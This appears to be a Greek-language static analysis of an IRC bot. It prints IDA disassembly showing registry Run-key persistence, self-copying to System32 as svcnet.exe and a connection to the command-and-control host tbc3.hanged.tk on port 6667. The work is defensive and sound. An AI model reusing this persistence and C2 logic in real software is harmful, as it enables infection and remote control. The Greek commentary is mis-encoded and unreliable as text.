.text:004029B3 var_5C0         = byte ptr -5C0h 

.text:004029B3 var_4C0         = dword ptr -4C0h 

.text:004029B3 var_4BC         = dword ptr -4BCh 

.text:004029B3 var_4B8         = dword ptr -4B8h 

.text:004029B3 WSAData         = WSAData ptr -4ACh 

.text:004029B3 hKey            = dword ptr -31Ch 

.text:004029B3 ThreadId        = dword ptr -318h 

.text:004029B3 var_314         = dword ptr -314h 

.text:004029B3 buf             = byte ptr -214h 

.text:004029B3 addr            = byte ptr -114h 

.text:004029B3 String          = byte ptr -110h 

.text:004029B3 name            = sockaddr ptr -10h 

.text:004029B3 lpString1       = dword ptr  10h 

.text:004029B3 

.text:004029B3                 push    ebp 

.text:004029B4                 mov     ebp, esp 
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.text:004029B6                 sub     esp, 6C0h 

.text:004029BC                 push    ebx 

.text:004029BD                 push    esi 

.text:004029BE                 push    edi 

.text:004029BF                 push    offset cp       ; "tbc3.hanged.tk" 

.text:004029C4                 call    sub_40132B 

.text:004029C9                 pop     ecx 

.text:004029CA                 cmp     eax, 50Eh 

.text:004029CF                 jnz     short loc_4029E3 

.text:004029D1                 push    offset aTibicP2p3 ; "##TIBiC-P2P3##" 

.text:004029D6                 call    sub_40132B 

.text:004029DB                 pop     ecx 

.text:004029DC                 cmp     eax, 349h 

.text:004029E1                 jz      short loc_4029EB 

.text:004029E3 

.text:004029E3 loc_4029E3:                             ; CODE XREF: sub_4029B3+1C#j 

.text:004029E3                 push    0               ; int 

.text:004029E5                 call    exit 
 

 

Η ζπλάξηεζε απηή εηζάγεη (push) δύν ζπκβνινζεηξέο ηελ "tbc3.hanged.tk" θαη ηελ 

"##TIBiC-P2P3##" θαη θαίλεηαη λα ηηο ζπγθξίλεη κε δύν ηηκέο, ηελ 0x50E θαη ηελ 0x349 

αληίζηνηρα. Δπίζεο παξαηεξνύκε πσο ν IDA καο έδσζε θαη ην όλνκα κηαο ηνπηθήο 

κεηαβιεηήο ηεο WSAData, γεγνλόο πνπ καο δείρλεη πσο ην malware ζα θάλεη ελέξγεηεο 

ζρεηηθέο κε ζύλδεζε ζην δηαδίθηπν. Αο ζεκεηώζνπκε πσο αθξηβώο πξίλ γίλεη ε θάζε 

ζύγθξηζε ηεο ζπκβνινζεηξάο (cmp, eax ηηκή) θαιείηαη ε ζπλάξηεζε sub_40132B ε 

νπνία θαίλεηαη πσο ειέγρεη ηελ νξζόηεηα ησλ δύν ζπκβνινζεηξώλ. Σηελ ζπλέρεηα ν 

θώδηθαο ζπλερίδεη σο εμήο: 

 
 

.text:004029EB loc_4029EB:                             ; CODE XREF: sub_4029B3+2E#j 

.text:004029EB                 lea     eax, [ebp+WSAData] 

.text:004029F1                 push    eax             ; lpWSAData 

.text:004029F2                 push    101h            ; wVersionRequested 

.text:004029F7                 call    WSAStartup 

.text:004029FC                 or      eax, eax 

.text:004029FE                 jz      short loc_402A08 

.text:00402A00                 xor     eax, eax 

.text:00402A02                 inc     eax 

.text:00402A03                 jmp     loc_402F36 

.text:00402A08 ; --------------------------------------------------------------------------- 

.text:00402A08 
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.text:00402A08 loc_402A08:                             ; CODE XREF: sub_4029B3+4B#j 

.text:00402A08                 call    GetTickCount 

.text:00402A0D                 push    eax             ; unsigned int 

.text:00402A0E                 call    srand 

.text:00402A13                 push    offset aTpguxbsfNjdspt ; 
"Tpguxbsf]Njdsptpgu]Xjoepxt]DvssfouWfstj"... 
.text:00402A18                 lea     eax, [ebp+String] 
.text:00402A1E                 push    eax             ; LPSTR 

.text:00402A1F                 call    wsprintfA 

.text:00402A24                 push    0FFFFFFFFh 

.text:00402A26                 lea     eax, [ebp+String] 

.text:00402A2C                 push    eax 

.text:00402A2D                 call    sub_4012FC 

.text:00402A32                 add     esp, 14h 

.text:00402A35                 push    0               ; lpdwDisposition 

.text:00402A37                 lea     eax, [ebp+hKey] 

.text:00402A3D                 push    eax             ; phkResult 

.text:00402A3E                 push    0               ; lpSecurityAttributes 

.text:00402A40                 push    0F003Fh         ; samDesired 

.text:00402A45                 push    0               ; dwOptions 

.text:00402A47                 push    0               ; lpClass 

.text:00402A49                 push    0               ; Reserved 

.text:00402A4B                 lea     eax, [ebp+String] 

.text:00402A51                 push    eax             ; lpSubKey 

.text:00402A52                 push    80000002h       ; hKey 

.text:00402A57                 call    RegCreateKeyExA 

.text:00402A5C                 push    offset Data     ; "svcnet.exe" 

.text:00402A61                 call    lstrlenA 

.text:00402A66                 push    eax             ; cbData 

.text:00402A67                 push    offset Data     ; "svcnet.exe" 

.text:00402A6C                 push    1               ; dwType 

.text:00402A6E                 push    0               ; Reserved 

.text:00402A70                 push    offset aShellapi32 ; "Shellapi32" 

.text:00402A75                 push    [ebp+hKey]      ; hKey 

.text:00402A7B                 call    RegSetValueExA 

.text:00402A80                 push    [ebp+hKey]      ; hKey 

.text:00402A86                 call    RegCloseKey 

.text:00402A8B                 push    0               ; lpdwDisposition 

.text:00402A8D                 lea     eax, [ebp+hKey] 

.text:00402A93                 push    eax             ; phkResult 

.text:00402A94                 push    0               ; lpSecurityAttributes 

.text:00402A96                 push    0F003Fh         ; samDesired 

.text:00402A9B                 push    0               ; dwOptions 

.text:00402A9D                 push    0               ; lpClass 

.text:00402A9F                 push    0               ; Reserved 

.text:00402AA1                 lea     eax, [ebp+String] 
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.text:00402AA7                 push    eax             ; lpSubKey 

.text:00402AA8                 push    80000001h       ; hKey 

.text:00402AAD                 call    RegCreateKeyExA 

.text:00402AB2                 push    offset Data     ; "svcnet.exe" 

.text:00402AB7                 call    lstrlenA 

.text:00402ABC                 push    eax             ; cbData 

.text:00402ABD                 push    offset Data     ; "svcnet.exe" 

.text:00402AC2                 push    1               ; dwType 

.text:00402AC4                 push    0               ; Reserved 

.text:00402AC6                 push    offset aShellapi32 ; "Shellapi32" 

.text:00402ACB                 push    [ebp+hKey]      ; hKey 

.text:00402AD1                 call    RegSetValueExA 

.text:00402AD6                 push    [ebp+hKey]      ; hKey 

.text:00402ADC                 call    RegCloseKey 

…… 
 
Σε απηό ην ζεκείν αξρηθά παξαηεξνύκε πώο γίλεηαη θιήζε ζηελ WSAStartup γεγνλόο 

πνπ ζεκαίλεη πσο γίλεηαη αξρηθνπνίεζε δηαδηθαζηώλ ζύλδεζεο ζην δηαδίθηπν. Σε απηό 

ην ζεκείν ηνπ θώδηθα γίλεηαη επίζεο πξνζπάζεηα λα πεξαζηεί ζηελ registry 

θαηαρώξεζε θιεηδηνύ. Απηό θαίλεηαη από ηελ θιήζε ζηηο ζπλαξηήζεηο 

RegCreateKeyExA, θαη RegsetValueExA θαη θαίλεηαη πσο όλνκα θαη ηηκή θιεηδηνύ 

αληηζηνηρνύλ ζηηο ζπκβνινζεηξέο Shellapi32 θαη Svcnet.exe. Τν θιεηδί δελ θαίλεηαη ζηνλ 

θώδηθα. Η ζπκβνινζεηξά aTpguxbsfNjdspt ; "Tpguxbsf]Njdsptpgu]Xjoepxt]DvssfouWfstj" 

ε νπνία κέζσ ηεο ζπλάξηεζεο wsprintfA αληηγξάθεηαη ζε έλαλ buffer δελ είλαη 

θαηαλνεηή. Απηό ίζσο ζεκαίλεη πσο πξόθεηηαη γηα ην απνηέιεζκα ηεο θξππηνγξάθεζεο 

ηνπ θιεηδηνύ γεγνλόο πνπ εληζρύεηαη από ηελ ρξήζε ηεο ζπλάξηεζεο srand ιίγν 

παξαπάλσ. Καηά ηελ δηάξθεηα ηηο δπλακηθήο αλάιπζεο βξήθακε ηα θιεηδηά πνπ 

εηζάγνληαη θαηά ηελ εθηέιεζε ηνπ malware, νπόηε κπνξνύκε λα πνύκε πσο ζε απηό ην 

ζεκείν γίλνληαη νη ξπζκίζεηο πνπ ζρεηίδνληαη κε ηελ εθθίλεζε ηνπ malware κε θάζε 

εθθίλεζε ηνπ ιεηηνπξγηθνύ ζπζηήκαηνο εηθόλα 11. Η ζπκβνινζεηξά απηή κάιηζηα 

θαίλεηαη λα πεξλάεη ζηελ ζπλάξηεζε  sub_4012FC καδί κε ηελ 0xFFFFFFFF  ε θιήζε 

ηεο νπνίαο καο νδεγεί ζε απηό ην θνκκάηη ηνπ θώδηθα: 
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Εηθόλα 11: Δεκηοσργία θιεηδηώλ ζηελ Registry από ηο θαθόβοσιο αρτείο svcnet.exe 

 

 
.text:004012FC ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ 
.text:004012FC 

.text:004012FC 

.text:004012FC sub_4012FC      proc near               ; CODE XREF: 
sub_4014DF+25#p 

.text:004012FC                                         ; sub_4016E6+36#p ... 

.text:004012FC 

.text:004012FC arg_0           = dword ptr  10h 

.text:004012FC arg_4           = dword ptr  14h 

.text:004012FC 

.text:004012FC                 push    ebx 

.text:004012FD                 push    esi 

.text:004012FE                 push    edi 

.text:004012FF                 mov     esi, [esp+arg_0] 

.text:00401303                 mov     ebx, [esp+arg_4] 

.text:00401307                 xor     edi, edi 

.text:00401309                 jmp     short loc_401315 

.text:0040130B ; --------------------------------------------------------------------------- 

.text:0040130B 

.text:0040130B loc_40130B:                             ; CODE XREF: sub_4012FC+27#j 

.text:0040130B                 movsx   eax, byte ptr [esi+edi] 

.text:0040130F                 add     eax, ebx 

.text:00401311                 mov     [esi+edi], al 

.text:00401314                 inc     edi 

.text:00401315 

.text:00401315 loc_401315:                             ; CODE XREF: sub_4012FC+D#j 

.text:00401315                 mov     ecx, esi 

.text:00401317                 or      eax, 0FFFFFFFFh 

.text:0040131A 

.text:0040131A loc_40131A:                             ; CODE XREF: sub_4012FC+23#j 

.text:0040131A                 inc     eax 

.text:0040131B                 cmp     byte ptr [ecx+eax], 0 

.text:0040131F                 jnz     short loc_40131A 

.text:00401321                 cmp     edi, eax 

.text:00401323                 jl      short loc_40130B 
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.text:00401325                 mov     eax, esi 

.text:00401327                 pop     edi 

.text:00401328                 pop     esi 

.text:00401329                 pop     ebx 

.text:0040132A                 retn 

.text:0040132A sub_4012FC      endp 

 

Απηή είλαη ε ζπλάξηεζε θαίλεηαη λα δέρεηαη 2 νξίζκαηα ηα νπνία θνξηώλνληαη ζηνλ esi 

ην πξώην θαη ζηνλ ebx ην δεύηεξν . Ο edi γίλεηαη XOR κε ηνλ εαπηό ηνπ θαη έηζη παίξλεη 

ηελ ηηκή 0 γεγνλόο πνπ ζεκαίλεη πσο κπνξεί λα ιεηηνπξγεί σο counter (κεηξεηήο). 

Πξόθεηηαη κάιινλ γηα ηελ ζπλάξηεζε θξππηνγξάθεζεο. Σηελ ζπλέρεηα επηζηξέθεη ζηελ 

πξνεγνύκελε ζπλάξηεζε αθξηβώο κεηά ην ζεκείν πνπ έγηλε ε call ε νπνία θαίλεηαη θαη 

παξαθάησ: 

 

.text:00402AE1                 push    offset Data     ; "svcnet.exe" 

.text:00402AE6                 push    0               ; bInheritHandle 

.text:00402AE8                 push    1F0001h         ; dwDesiredAccess 

.text:00402AED                 call    OpenMutexA 

.text:00402AF2                 mov     edi, eax 

.text:00402AF4                 or      eax, eax 

.text:00402AF6                 jz      short loc_402B00 

.text:00402AF8                 xor     eax, eax 

.text:00402AFA                 inc     eax 

.text:00402AFB                 jmp     loc_402F36 

.text:00402B00 ; --------------------------------------------------------------------------- 

.text:00402B00 

.text:00402B00 loc_402B00:                             ; CODE XREF: sub_4029B3+143#j 

.text:00402B00                 push    offset Data     ; "svcnet.exe" 

.text:00402B05                 push    0               ; bInitialOwner 

.text:00402B07                 push    0               ; lpMutexAttributes 

.text:00402B09                 call    CreateMutexA 

.text:00402B0E                 mov     edi, eax 

.text:00402B10                 push    0               ; lpModuleName 

.text:00402B12                 call    GetModuleHandleA 

.text:00402B17                 push    0FFh            ; nSize 

.text:00402B1C                 lea     edx, [ebp+String] 

.text:00402B22                 push    edx             ; lpFilename 

.text:00402B23                 push    eax             ; hModule 

.text:00402B24                 call    GetModuleFileNameA 

.text:00402B29                 push    0FFh            ; uSize 

.text:00402B2E                 lea     eax, [ebp+buf] 

.text:00402B34                 push    eax             ; lpBuffer 

.text:00402B35                 call    GetSystemDirectoryA 
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.text:00402B3A                 lea     eax, [ebp+buf] 

.text:00402B40                 push    eax 

.text:00402B41                 lea     eax, [ebp+String] 

.text:00402B47                 push    eax 

.text:00402B48                 call    sub_40304C 

.text:00402B4D                 add     esp, 8 

.text:00402B50                 or      eax, eax 

.text:00402B52                 jz      short loc_402B6C 

.text:00402B54                 push    offset Data     ; "svcnet.exe" 

.text:00402B59                 lea     edx, [ebp+String] 

.text:00402B5F                 push    edx 

.text:00402B60                 call    sub_40304C 

.text:00402B65                 add     esp, 8 

.text:00402B68                 or      eax, eax 

.text:00402B6A                 jnz     short loc_402BDE 

.text:00402B6C 

.text:00402B6C loc_402B6C:                             ; CODE XREF: sub_4029B3+19F#j 

.text:00402B6C                 push    offset asc_4058F2 ; "\\" 

.text:00402B71                 lea     eax, [ebp+buf] 

.text:00402B77                 push    eax             ; lpString1 

.text:00402B78                 call    lstrcatA 

.text:00402B7D                 push    offset Data     ; "svcnet.exe" 

.text:00402B82                 lea     eax, [ebp+buf] 

.text:00402B88                 push    eax             ; lpString1 

.text:00402B89                 call    lstrcatA 

.text:00402B8E                 push    0               ; bFailIfExists 

.text:00402B90                 lea     eax, [ebp+buf] 

.text:00402B96                 push    eax             ; lpNewFileName 

.text:00402B97                 lea     eax, [ebp+String] 

.text:00402B9D                 push    eax             ; lpExistingFileName 

.text:00402B9E                 call    CopyFileA 

.text:00402BA3                 or      eax, eax 

.text:00402BA5                 jnz     short loc_402BAD 

.text:00402BA7                 inc     eax 

.text:00402BA8                 jmp     loc_402F36 

.text:00402BAD ; --------------------------------------------------------------------------- 

.text:00402BAD 

.text:00402BAD loc_402BAD:                             ; CODE XREF: sub_4029B3+1F2#j 

.text:00402BAD                 push    0               ; nShowCmd 

.text:00402BAF                 push    0               ; lpDirectory 

.text:00402BB1                 push    0               ; lpParameters 

.text:00402BB3                 lea     eax, [ebp+buf] 

.text:00402BB9                 push    eax             ; lpFile 

.text:00402BBA                 push    offset Operation ; "open" 

.text:00402BBF                 push    0               ; hwnd 

.text:00402BC1                 call    ShellExecuteA 
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.text:00402BC6                 push    offset aInstant ; "instant" 

.text:00402BCB                 push    [ebp+lpString1] ; lpString1 

.text:00402BCE                 call    lstrcmpA 

.text:00402BD3                 or      eax, eax 

.text:00402BD5                 jz      short loc_402BDE 

.text:00402BD7                 xor     eax, eax 

.text:00402BD9                 jmp     loc_402F36 

 

Αξρηθά κέρξη ηελ ζέζε κλήκεο 00402b09 δεκηνπξγείηαη έλαο mutex κε ην όλνκα 

svcnet.exe ην νπνίν ρξεζηκνπνηείηαη γηα ακνηβαίν απνθιεηζκό, πξνθαλώο γηα έιεγρν αλ 

θάπνην αληίγξαθν ηνπ malware ηξέρεη ήδε ζην ζύζηεκα. Αλ δελ έρεη δεκηνπξγεζεί ν 

mutex, ηόηε θαιείηαη ε CreateMutexA. 

Σηελ ζπλέρεηα επηζηξέθεηαη ζην πξόγξακκα ην κνλνπάηη (path) ηνπ System Directory ην 

νπνίν πξνσζείηαη ζηελ ζπλάξηεζε sub_40304C ζηελ νπνία πξνσζείηαη (όρη 

ηαπηόρξνλα αιιά ζε δεύηεξε θάζε) θαη ε ζπκβνινζεηξά svcnet.exe. Η ζπλάξηεζε απηή 

θαίλεηαη παξαθάησ (έλα κέξνο ηεο) δέρεηαη όλησο δύν νξίζκαηα. Φαίλεηαη πσο θάλεη 

θάπνηνπ είδνπο ζύγθξηζε γηα ην αλ νη δύν ζπκβνινζεηξέο (ηα νξίζκαηα πνπ δέρεηαη) 

είλαη αξρηθά δηάθνξεο ηνπ κεδέλ θαη ζηελ ζπλέρεηα αλ είλαη ε GetSystemDirectory θαη ε 

svcnet.exe. Τν System Directory ησλ Windows (Windows XP θαη κεηά) είλαη 

Windows/System32, άξα πξνθαλώο γίλεηαη θάπνηνο έιεγρνο γηα ην αλ ην path ηνπ 

εθηειέζηκνπ είλαη Windows\System32\svcnet.exe πνπ όπσο είδακε θαη από ηελ 

δπλακηθή αλάιπζε είλαη ε δηεξγαζία ζηελ νπνία θακνπθιάξεηαη ην malware. Σηελ 

ζπλέρεηα από ηελ ζέζε κλήκεο 00402B6C θαη κέρξη ην ηέινο ηεο ζπλάξηεζεο γίλνληαη 

ηα εμήο:  

Αξρηθά γίλεηαη κηα θιήζε ζηελ ζπλάξηεζε lstrcatA πνπ ζεκαίλεη πσο γίλεηαη έλσζε δύν 

ζπκβνινζεηξώλ. Οη ζπκβνινζεηξέο είλαη ε String1 θαη ε String2. Απηό ινγηθά ζα γίλεηαη 

γηα λα ελσζνύλ νη δύν ζπκβνινζεηξέο πνπ είδακε πξνεγνπκέλσο, ε System Directory 

θαη ε svcnet.exe νη νπνίεο ρξεζηκνπνηνύληαη σο όξηζκα θαη ζηελ ζπλάξηεζε CopyFileA 

ε νπνία θαιείηαη ζηελ ζπλέρεηα. Απηό έρεη ζαλ απνηέιεζκα λα αληηγξάςεη ην malware 

ηνλ εαπηό ηνπ ζην System Directory κε όλνκα svcnet.exe, γεγνλόο πνπ είλαη αξθεηά 

ζπλεζηζκέλε πξαθηηθή. Σηελ ζπλέρεηα θαιείηαη ε ShellExecteA ε νπνία εθηειεί ην αξρείν 

πνπ κόιηο δεκηνπξγήζεθε. 
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.text:0040304C ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ 

.text:0040304C 

.text:0040304C 

.text:0040304C sub_40304C      proc near               ; CODE XREF: 
sub_401EB9+13Bp 
.text:0040304C                                         ; sub_401EB9+197p ... 
.text:0040304C 
.text:0040304C arg_0           = dword ptr  4 
.text:0040304C arg_4           = dword ptr  8 
.text:0040304C 
.text:0040304C                 mov     edx, [esp+arg_4] 
.text:00403050                 mov     eax, [esp+arg_0] 
.text:00403054                 cmp     byte ptr [edx], 0 
.text:00403057                 jz      short locret_4030BB 
.text:00403059                 push    ebx 
.text:0040305A                 push    esi 
.text:0040305B                 push    edi 
.text:0040305C                 mov     edi, edx 
.text:0040305E                 jmp     short loc_4030B1 
.text:00403060 ; --------------------------------------------------------------------------- 
.text:00403060 
.text:00403060 loc_403060:                             ; CODE XREF: sub_40304C+68j 
.text:00403060                 mov     esi, eax 
.text:00403062                 mov     ebx, edi 
.text:00403064                 movzx   edx, byte ptr [eax] 
.text:00403067                 cmp     dl, 61h 
.text:0040306A                 jb      short loc_403074 
.text:0040306C                 cmp     dl, 7Ah 
.text:0040306F                 ja      short loc_403074 
.text:00403071                 sub     dl, 20h 
.text:00403074 
.text:00403074 loc_403074:                             ; CODE XREF: sub_40304C+1Ej 
.text:00403074                                         ; sub_40304C+23j 
.text:00403074                 movzx   ecx, byte ptr [ebx] 
.text:00403077                 cmp     cl, 61h 
.text:0040307A                 jb      short loc_403086 
.text:0040307C                 cmp     cl, 7Ah 
.text:0040307F                 ja      short loc_403086 
.text:00403081                 sub     cl, 20h 
.text:00403084                 jmp     short loc_4030A8 
.text:00403086 ; --------------------------------------------------------------------------- 
.text:00403086 
.text:00403086 loc_403086:                             ; CODE XREF: sub_40304C+2Ej 
.text:00403086                                         ; sub_40304C+33j ... 
.text:00403086                 movzx   edx, byte ptr [esi] 
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.text:00403089                 inc     esi 

.text:0040308A                 cmp     dl, 61h 

.text:0040308D                 jb      short loc_403097 

.text:0040308F                 cmp     dl, 7Ah 

.text:00403092                 ja      short loc_403097 

.text:00403094                 sub     dl, 20h 

.text:00403097 

.text:00403097 loc_403097:                             ; CODE XREF: sub_40304C+41j 

.text:00403097                                         ; sub_40304C+46j 

.text:00403097                 movzx   ecx, byte ptr [ebx] 

.text:0040309A                 inc     ebx 

.text:0040309B                 cmp     cl, 61h 

.text:0040309E                 jb      short loc_4030A8 

.text:004030A0                 cmp     cl, 7Ah 

.text:004030A3                 ja      short loc_4030A8 

.text:004030A5                 sub     cl, 20h 

.text:004030A8 

.text:004030A8 loc_4030A8:                             ; CODE XREF: sub_40304C+38j 

.text:004030A8                                         ; sub_40304C+52j ... 

.text:004030A8                 or      ecx, ecx 

.text:004030AA                 jz      short loc_4030B8 

.text:004030AC                 cmp     ecx, edx 

.text:004030AE                 jz      short loc_403086 

.text:004030B0                 inc     eax 

.text:004030B1 

.text:004030B1 loc_4030B1:                             ; CODE XREF: sub_40304C+12j 

.text:004030B1                 cmp     byte ptr [eax], 0 

.text:004030B4                 jnz     short loc_403060 

.text:004030B6                 xor     eax, eax 

.text:004030B8 

.text:004030B8 loc_4030B8:                             ; CODE XREF: sub_40304C+5Ej 

.text:004030B8                 pop     edi 

.text:004030B9                 pop     esi 

.text:004030BA                 pop     ebx 

.text:004030BB 

.text:004030BB locret_4030BB:                          ; CODE XREF: sub_40304C+Bj 

.text:004030BB                 retn 

.text:004030BB sub_40304C      endp 
 
Έηζη ινηπόλ είκαζηε ζην ζεκείν πνπ ην malware έρεη αληηγξάςεη ηνλ εαπηό ηνπ ζην 

System Directory θαη έρεη ειέγμεη όηη ηξέρεη (ην ίδην ην malware) ζην ζύζηεκα. Σηελ 

ζπλέρεηα ζπλερίδνπκε θαλνληθά ειέγρνληαο ηνλ θώδηθα από ην ζεκείν πνπ ηνλ αθήζακε 

(ζηελ main) δειαδή ζηελ ζέζε κλήκεο 00402BD9. Έηζη έρνπκε ηνλ θώδηθα πνπ 

θαίλεηαη παξαθάησ: 
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.text:00402BDE loc_402BDE:                             ; CODE XREF: sub_4029B3+1B7j 

.text:00402BDE                                         ; sub_4029B3+222j 

.text:00402BDE                 lea     eax, [ebp+ThreadId] 

.text:00402BE4                 push    eax             ; lpThreadId 

.text:00402BE5                 push    0               ; dwCreationFlags 

.text:00402BE7                 push    0               ; lpParameter 

.text:00402BE9                 push    offset StartAddress ; lpStartAddress 

.text:00402BEE                 push    0               ; dwStackSize 

.text:00402BF0                 push    0               ; lpThreadAttributes 

.text:00402BF2                 call    CreateThread 

.text:00402BF7 

.text:00402BF7 loc_402BF7:                             ; CODE XREF: 
sub_4029B3:loc_402C8Fj 
.text:00402BF7                                         ; sub_4029B3:loc_402F2Fj 
.text:00402BF7                 push    10h 
.text:00402BF9                 lea     eax, [ebp+name] 
.text:00402BFC                 push    eax 
.text:00402BFD                 call    RtlZeroMemory 
.text:00402C02                 mov     [ebp+name.sa_family], 2 
.text:00402C08                 push    1A0Bh           ; hostshort 
.text:00402C0D                 call    htons 
.text:00402C12                 mov     edx, eax 
.text:00402C14                 mov     word ptr [ebp+name.sa_data], dx 
.text:00402C18                 push    offset cp       ; "tbc3.hanged.tk" 
.text:00402C1D                 call    inet_addr 
.text:00402C22                 mov     dword ptr [ebp+addr], eax 
.text:00402C28                 cmp     eax, 0FFFFFFFFh 
.text:00402C2B                 jnz     short loc_402C3B 
.text:00402C2D                 push    offset cp       ; "tbc3.hanged.tk" 
.text:00402C32                 call    gethostbyname 
.text:00402C37                 mov     ebx, eax 
.text:00402C39                 jmp     short loc_402C4D 
.text:00402C3B ; --------------------------------------------------------------------------- 
.text:00402C3B 
.text:00402C3B loc_402C3B:                             ; CODE XREF: sub_4029B3+278j 
.text:00402C3B                 push    2               ; type 
.text:00402C3D                 push    4               ; len 
.text:00402C3F                 lea     eax, [ebp+addr] 
.text:00402C45                 push    eax             ; addr 
.text:00402C46                 call    gethostbyaddr 
.text:00402C4B                 mov     ebx, eax 
.text:00402C4D 
.text:00402C4D loc_402C4D:                             ; CODE XREF: sub_4029B3+286j 
.text:00402C4D                 or      ebx, ebx 
.text:00402C4F                 jnz     short loc_402C5D 
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.text:00402C51                 push    2710h           ; dwMilliseconds 

.text:00402C56                 call    Sleep 

.text:00402C5B                 jmp     short loc_402C8F 

.text:00402C5D ; --------------------------------------------------------------------------- 
text:00402C5D loc_402C5D:                             ; CODE XREF: sub_4029B3+29Cj 
.text:00402C5D                 mov     eax, [ebx+0Ch] 
.text:00402C60                 mov     eax, [eax] 
.text:00402C62                 mov     eax, [eax] 
.text:00402C64                 mov     dword ptr [ebp+name.sa_data+2], eax 
.text:00402C67                 push    6               ; protocol 
.text:00402C69                 push    1               ; type 
.text:00402C6B                 push    2               ; af 
.text:00402C6D                 call    socket 
.text:00402C72                 mov     esi, eax 
.text:00402C74                 push    10h             ; namelen 
.text:00402C76                 lea     eax, [ebp+name] 
.text:00402C79                 push    eax             ; name 
.text:00402C7A                 push    esi             ; s 
.text:00402C7B                 call    connect 
.text:00402C80                 cmp     eax, 0FFFFFFFFh 
.text:00402C83                 jnz     short loc_402C94 
.text:00402C85                 push    2710h           ; dwMilliseconds 
.text:00402C8A                 call    Sleep 
.text:00402C8F 
.text:00402C8F loc_402C8F:                             ; CODE XREF: sub_4029B3+2A8j 
.text:00402C8F                 jmp     loc_402BF7 
.text:00402C94 ; --------------------------------------------------------------------------- 
.text:00402C94 
.text:00402C94 loc_402C94:                             ; CODE XREF: sub_4029B3+2D0j 
.text:00402C94                 push    100h 
.text:00402C99                 lea     eax, [ebp+String] 
.text:00402C9F                 push    eax 
.text:00402CA0                 call    sub_40129C 
.text:00402CA5                 mov     [ebp+var_4B8], eax 
.text:00402CAB                 push    100h 
.text:00402CB0                 lea     edx, [ebp+var_314] 
.text:00402CB6                 push    edx 
.text:00402CB7                 call    sub_40129C 
.text:00402CBC                 push    eax 
.text:00402CBD                 mov     edx, [ebp+var_4B8] 
.text:00402CC3                 push    edx 
.text:00402CC4          push    offset aNickSUserS__Ti ; "NICK %s\r\nUSER %s . . 
:TIBiCP2P\r\n" 
.text:00402CC9                 lea     edx, [ebp+buf] 
.text:00402CCF                 push    edx             ; LPSTR 
.text:00402CD0                 call    wsprintfA 
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.text:00402CD5                 add     esp, 20h 

.text:00402CD8                 lea     eax, [ebp+buf] 

.text:00402CDE                 push    eax             ; lpString 

.text:00402CDF                 call    lstrlenA 

.text:00402CE4                 push    0               ; flags 

.text:00402CE6                 push    eax             ; len 

.text:00402CE7                 lea     edx, [ebp+buf] 

.text:00402CED                 push    edx             ; buf 

.text:00402CEE                 push    esi             ; s 

.text:00402CEF                 call    send 

.text:00402CF4                 cmp     eax, 0FFFFFFFFh 

.text:00402CF7                 jnz     short loc_402D08 

.text:00402CF9                 push    2710h           ; dwMilliseconds 

.text:00402CFE                 call    Sleep 

.text:00402D03                 jmp     loc_402F2F 

.text:00402D08 ; --------------------------------------------------------------------------- 

 

Απηό πνπ παξαηεξνύκε αξρηθά είλαη πσο θαιείηαη ε CreateThread, γεγνλόο πνπ 

ζεκαίλεη πσο θάπνην thread (λήκα) δεκηνπξγείηε. Θα ην εμεηάζνπκε αξγόηεξα. Σηελ 

ζπλέρεηα βιέπνπκε θαιείηαη ε htons, ζηελ νπνία εηζάγεηαη ην 0x1A0B. Η htons ζα 

κεηαηξέςεη απηόλ ηνλ αξηζκό ζε κνξθή big-endian. Ο αξηζκόο απηόο αληηζηνηρεί ζην 

6667 ζην δεθαδηθό ζύζηεκα. Δίλαη ν αξηζκόο ηεο ζύξαο πνπ είδακε (ζηελ δπλακηθή 

αλάιπζε) όηη επηρεηξεί λα ζπλδεζεί ην malware. Πξνρσξώληαο ζηνλ θώδηθα κέλνπκε 

ζηελ θιήζε ηεο ζπλάξηεζεο gethostbyname, ε νπνία επηζηξέθεη ζην πξόγξακκα ηελ 

δηέπζπλζε ηνπ host, ηελ δηεύζπλζε δειαδή ζηελ νπνία ζα επηρεηξήζεη ην malware λα 

ζπλδεζεί ε νπνία αληηζηνηρεί ζην όλνκα Tbc3_hanged_tk.  

Αθνύ γίλνπλ ηα παξαπάλσ, ηόηε γίλεηαη θιήζε ζηελ Socket θαη έηζη δεκηνπξγείηαη έλα 

socket (ππνδνρή) γεγνλόο πνπ ζπκβαίλεη όηαλ αξρίδεη κηα ζύλδεζε ελώ κεηά ζπλδέεηαη 

θάλνληαο θιήζε ζηελ connect ζηελ δηεύζπλζε πνπ αλαθεξζήθακε πξνεγνπκέλσο. Η 

θιήζε ζηελ εληνιή sleep καξηπξάεη πσο πξόθεηηαη γηα κηα ζπλζήθε επαλάιεςεο.  Σηελ 

ζέζε κλήκεο 00402CC4 παξαηεξνύκε κηα ζπκβνινζεηξά πνπ κνηάδεη λα έρεη ζρέζε κε 

username θαη password. Λόγσ ηνπ γεγνλόηνο πσο ζηελ δπλακηθή αλάιπζε 

παξαηεξήζακε πσο γίλεηαη ζύλδεζε ζε ζπγθεθξηκέλν θαλάιη Irc-Sercer, ππνζέηνπκε 

πσο ε ζπλάξηεζε sub_40129C είλαη ε ζπλάξηεζε πνπ ηα δεκηνπξγεί ηπραία. Η θιήζε 

ζηελ send ζεκαίλεη πσο ην πξόγξακκα ζηέιλεη ζηνλ απνκαθξπζκέλν ζύλδεζκν 
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δεδνκέλα. Πηζαλώο ζε απηό ην ζεκείν ην username θαη ην password.  Σηελ ζπλέρεηα ε 

ζπλάξηεζε ζπλερίδεη κε ηνλ παξαθάησ θώδηθα: 

 

.text:00402D08 loc_402D08:                             ; CODE XREF: sub_4029B3+344j 

.text:00402D08                 push    100h 

.text:00402D0D                 lea     eax, [ebp+String] 

.text:00402D13                 push    eax 

.text:00402D14                 call    RtlZeroMemory 

.text:00402D19                 jmp     loc_402F09 

.text:00402D1E ; --------------------------------------------------------------------------- 

.text:00402D1E 

.text:00402D1E loc_402D1E:                             ; CODE XREF: sub_4029B3+56Cj 

.text:00402D1E                 push    offset aPing    ; "PING " 

.text:00402D23                 lea     eax, [ebp+String] 

.text:00402D29                 push    eax 

.text:00402D2A                 call    sub_40304C 

.text:00402D2F                 add     esp, 8 

